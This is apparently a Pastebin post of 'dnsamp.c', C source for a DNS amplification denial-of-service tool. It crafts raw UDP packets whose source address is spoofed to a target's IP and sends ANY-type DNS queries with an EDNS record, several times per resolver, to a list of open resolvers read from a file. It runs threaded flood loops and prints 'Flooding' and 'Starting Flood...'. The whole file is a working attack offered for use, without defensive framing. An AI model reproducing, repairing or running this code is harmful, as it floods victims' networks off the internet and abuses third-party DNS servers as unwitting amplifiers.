Advertisement
wtfbbq

dnsamp.c

Mar 15th, 2015
1,948
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.42 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <time.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13. #include <arpa/inet.h>
  14.  
  15. #define MAX_PACKET_SIZE 8192
  16. #define PHI 0x9e3779b9
  17. #define PACKETS_PER_RESOLVER 5
  18.  
  19. static uint32_t Q[4096], c = 362436;
  20.  
  21. struct list
  22. {
  23.                 struct sockaddr_in data;
  24.                 char domain[256];
  25.                 int line;
  26.                 struct list *next;
  27.                 struct list *prev;
  28. };
  29. struct list *head;
  30.  
  31. struct thread_data{
  32.                 int thread_id;
  33.                 struct list *list_node;
  34.                 struct sockaddr_in sin;
  35.                 int port;
  36. };
  37.  
  38. struct DNS_HEADER
  39. {
  40.                 unsigned short id; // identification number
  41.  
  42.                 unsigned char rd :1; // recursion desired
  43.                 unsigned char tc :1; // truncated message
  44.                 unsigned char aa :1; // authoritive answer
  45.                 unsigned char opcode :4; // purpose of message
  46.                 unsigned char qr :1; // query/response flag
  47.  
  48.                 unsigned char rcode :4; // response code
  49.                 unsigned char cd :1; // checking disabled
  50.                 unsigned char ad :1; // authenticated data
  51.                 unsigned char z :1; // its z! reserved
  52.                 unsigned char ra :1; // recursion available
  53.  
  54.                 unsigned short q_count; // number of question entries
  55.                 unsigned short ans_count; // number of answer entries
  56.                 unsigned short auth_count; // number of authority entries
  57.                 unsigned short add_count; // number of resource entries
  58. };
  59.  
  60. //Constant sized fields of query structure
  61. struct QUESTION
  62. {
  63.         unsigned short qtype;
  64.         unsigned short qclass;
  65. };
  66.  
  67. //Constant sized fields of the resource record structure
  68. struct QUERY
  69. {
  70.                 unsigned char *name;
  71.                 struct QUESTION *ques;
  72. };
  73.  
  74. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  75. {
  76.                 int lock = 0 , i;
  77.                 strcat((char*)host,".");
  78.  
  79.                 for(i = 0 ; i < strlen((char*)host) ; i++)
  80.                 {
  81.                                 if(host[i]=='.')
  82.                                 {
  83.                                                 *dns++ = i-lock;
  84.                                                 for(;lock<i;lock++)
  85.                                                 {
  86.                                                                 *dns++=host[lock];
  87.                                                 }
  88.                                                 lock++; //or lock=i+1;
  89.                                 }
  90.                 }
  91.                 *dns++='\0';
  92. }
  93.  
  94. void init_rand(uint32_t x)
  95. {
  96.                 int i;
  97.  
  98.                 Q[0] = x;
  99.                 Q[1] = x + PHI;
  100.                 Q[2] = x + PHI + PHI;
  101.  
  102.                 for (i = 3; i < 4096; i++)
  103.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  104. }
  105.  
  106. uint32_t rand_cmwc(void)
  107. {
  108.                 uint64_t t, a = 18782LL;
  109.                 static uint32_t i = 4095;
  110.                 uint32_t x, r = 0xfffffffe;
  111.                 i = (i + 1) & 4095;
  112.                 t = a * Q[i] + c;
  113.                 c = (t >> 32);
  114.                 x = t + c;
  115.                 if (x < c) {
  116.                                 x++;
  117.                                 c++;
  118.                 }
  119.                 return (Q[i] = r - x);
  120. }
  121.  
  122. /* function for header checksums */
  123. unsigned short csum (unsigned short *buf, int nwords)
  124. {
  125.                 unsigned long sum;
  126.                 for (sum = 0; nwords > 0; nwords--)
  127.                 sum += *buf++;
  128.                 sum = (sum >> 16) + (sum & 0xffff);
  129.                 sum += (sum >> 16);
  130.                 return (unsigned short)(~sum);
  131. }
  132.  
  133. void setup_udp_header(struct udphdr *udph)
  134. {
  135.  
  136. }
  137.  
  138. void *flood(void *par1)
  139. {
  140.                 struct thread_data *td = (struct thread_data *)par1;
  141.  
  142.                 fprintf(stdout, "Thread %d started\n", td->thread_id);
  143.  
  144.                 char strPacket[MAX_PACKET_SIZE];
  145.                 int iPayloadSize = 0;
  146.  
  147.                 struct sockaddr_in sin = td->sin;
  148.                 struct list *list_node = td->list_node;
  149.                 int iPort = td->port;
  150.  
  151.                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  152.                 if(s < 0)
  153.                 {
  154.                         fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  155.                         exit(-1);
  156.                 }
  157.  
  158.                 //init random
  159.                 init_rand(time(NULL));
  160.  
  161.                 // Clear the data
  162.                 memset(strPacket, 0, MAX_PACKET_SIZE);
  163.  
  164.                 // Make the packet
  165.                 struct iphdr *iph = (struct iphdr *) &strPacket;
  166.                 iph->ihl = 5;
  167.                 iph->version = 4;
  168.                 iph->tos = 0;
  169.                 iph->tot_len = sizeof(struct iphdr) + 38;
  170.                 iph->id = htonl(54321);
  171.                 iph->frag_off = 0;
  172.                 iph->ttl = MAXTTL;
  173.                 iph->protocol = IPPROTO_UDP;
  174.                 iph->check = 0;
  175.                 iph->saddr = inet_addr("192.168.3.100");
  176.  
  177.                 iPayloadSize += sizeof(struct iphdr);
  178.  
  179.  
  180.                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  181.                 udph->source = htons(iPort);
  182.                 udph->dest = htons(53);
  183.                 udph->check = 0;
  184.  
  185.                 iPayloadSize += sizeof(struct udphdr);
  186.  
  187.                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  188.                 dns->id = (unsigned short) htons(rand_cmwc());
  189.                 dns->qr = 0; //This is a query
  190.                 dns->opcode = 0; //This is a standard query
  191.                 dns->aa = 0; //Not Authoritative
  192.                 dns->tc = 0; //This message is not truncated
  193.                 dns->rd = 1; //Recursion Desired
  194.                 dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  195.                 dns->z = 0;
  196.                 dns->ad = 0;
  197.                 dns->cd = 0;
  198.                 dns->rcode = 0;
  199.                 dns->q_count = htons(1); //we have only 1 question
  200.                 dns->ans_count = 0;
  201.                 dns->auth_count = 0;
  202.                 dns->add_count = htons(1);
  203.  
  204.                 iPayloadSize += sizeof(struct DNS_HEADER);
  205.  
  206.                 sin.sin_port = udph->source;
  207.                 iph->saddr = sin.sin_addr.s_addr;
  208.                 iph->daddr = list_node->data.sin_addr.s_addr;
  209.                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  210.  
  211.  
  212.                 char strDomain[256];
  213.                 int i;
  214.                 int iAdditionalSize = 0;
  215.                 while(1)
  216.                 {
  217.                         usleep(0);
  218.                         //set the next node
  219.                         list_node = list_node->next;
  220.  
  221.                         //Clear the old domain and question
  222.                         memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);
  223.  
  224.                         //add the chosen domain and question
  225.                         iAdditionalSize = 0;
  226.  
  227.                         unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  228.  
  229.                         strcpy(strDomain, list_node->domain);
  230.                         ChangetoDnsNameFormat(qname, strDomain);
  231.                         //printf("!!%s %d\n", list_node->domain, list_node->line);
  232.  
  233.                         iAdditionalSize += strlen(qname) + 1;
  234.  
  235.                         struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  236.                         qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  237.                         qinfo->qclass = htons(1);
  238.  
  239.                         iAdditionalSize += sizeof(struct QUESTION);
  240.  
  241.                       void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];
  242.                 memset(edns+2, 0x29, 1);
  243.                 memset(edns+3, 0x23, 1);
  244.                 memset(edns+4, 0x28, 1);
  245.  
  246.  
  247.                         iAdditionalSize += 11;
  248.  
  249.                         //set new node data
  250.                         iph->daddr = list_node->data.sin_addr.s_addr;
  251.  
  252.                         udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
  253.                         iph->tot_len = iPayloadSize + iAdditionalSize + 5;
  254.  
  255.                         udph->source = htons(rand_cmwc() & 0xFFFF);
  256.                         iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  257.  
  258.                         //send
  259.                         for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  260.                         {
  261.                                 sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  262.                         }
  263.                 }
  264. }
  265.  
  266. void ParseResolverLine(char *strLine, int iLine)
  267. {
  268.         char caIP[32] = "";
  269.         char caDNS[512] = "";
  270.  
  271.         int i;
  272.         char buffer[512] = "";
  273.  
  274.         int moved = 0;
  275.  
  276.         for(i = 0; i < strlen(strLine); i++)
  277.         {
  278.                 if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  279.                 {
  280.                         moved++;
  281.                         continue;
  282.                 }
  283.  
  284.                 if(moved == 0)
  285.                 {
  286.                         caIP[strlen(caIP)] = (char) strLine[i];
  287.                 }
  288.                 else if(moved == 1)
  289.                 {
  290.                         caDNS[strlen(caDNS)] = (char) strLine[i];
  291.                 }
  292.         }
  293.  
  294.         //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  295.  
  296.         if(head == NULL)
  297.         {
  298.                 head = (struct list *)malloc(sizeof(struct list));
  299.  
  300.                 bzero(&head->data, sizeof(head->data));
  301.  
  302.                 head->data.sin_addr.s_addr=inet_addr(caIP);
  303.                 head->data.sin_port=htons(53);
  304.                 strcpy(head->domain, caDNS);
  305.                 head->line = iLine;
  306.                 head->next = head;
  307.                 head->prev = head;
  308.         }
  309.         else
  310.         {
  311.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  312.  
  313.                 memset(new_node, 0x00, sizeof(struct list));
  314.  
  315.                 new_node->data.sin_addr.s_addr=inet_addr(caIP);
  316.                 new_node->data.sin_port=htons(53);
  317.                 strcpy(new_node->domain, caDNS);
  318.                 new_node->prev = head;
  319.                 head->line = iLine;
  320.                 new_node->next = head->next;
  321.                 head->next = new_node;
  322.         }
  323. }
  324.  
  325. int main(int argc, char *argv[ ])
  326. {
  327.         if(argc < 4)
  328.         {
  329.                 fprintf(stderr, "Invalid parameters!\n");
  330.                 fprintf(stdout, "\nUsage: %s <target IP/hostname> <port to hit> <reflection file> <number threads to use> <time>\n", argv[0]);
  331.                 exit(-1);
  332.         }
  333.  
  334.         head = NULL;
  335.  
  336.         char *strLine = (char *) malloc(256);
  337.         strLine = memset(strLine, 0x00, 256);
  338.  
  339.         char strIP[32] = "";
  340.         char strDomain[256] = "";
  341.  
  342.         int iLine = 0; // 0 = ip, 1 = domain.
  343.  
  344.         FILE *list_fd = fopen(argv[3],  "r");
  345.         while(fgets(strLine, 256, list_fd) != NULL)
  346.         {
  347.                 ParseResolverLine(strLine, iLine);
  348.                 iLine++;
  349.         }
  350.  
  351.  
  352.         int i = 0;
  353.         int num_threads = atoi(argv[4]);
  354.  
  355.         struct list *current = head->next;
  356.         pthread_t thread[num_threads];
  357.         struct sockaddr_in sin;
  358.         sin.sin_family = AF_INET;
  359.         sin.sin_port = htons(0);
  360.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  361.         struct thread_data td[num_threads];
  362.  
  363.         int iPort = atoi(argv[2]);
  364.  
  365.         printf("Flooding %s\n", argv[1], iPort);
  366.  
  367.         for(i = 0; i < num_threads; i++)
  368.         {
  369.                 td[i].thread_id = i;
  370.                 td[i].sin= sin;
  371.                 td[i].list_node = current;
  372.                 td[i].port = iPort;
  373.                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  374.         }
  375.  
  376.         fprintf(stdout, "Starting Flood...\n");
  377.  
  378.         if(argc > 4)
  379.         {
  380.                 sleep(atoi(argv[5]));
  381.         }
  382.         else
  383.         {
  384.                 while(1)
  385.                 {
  386.                         sleep(1);
  387.                 }
  388.         }
  389.  
  390.         return 0;
  391. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement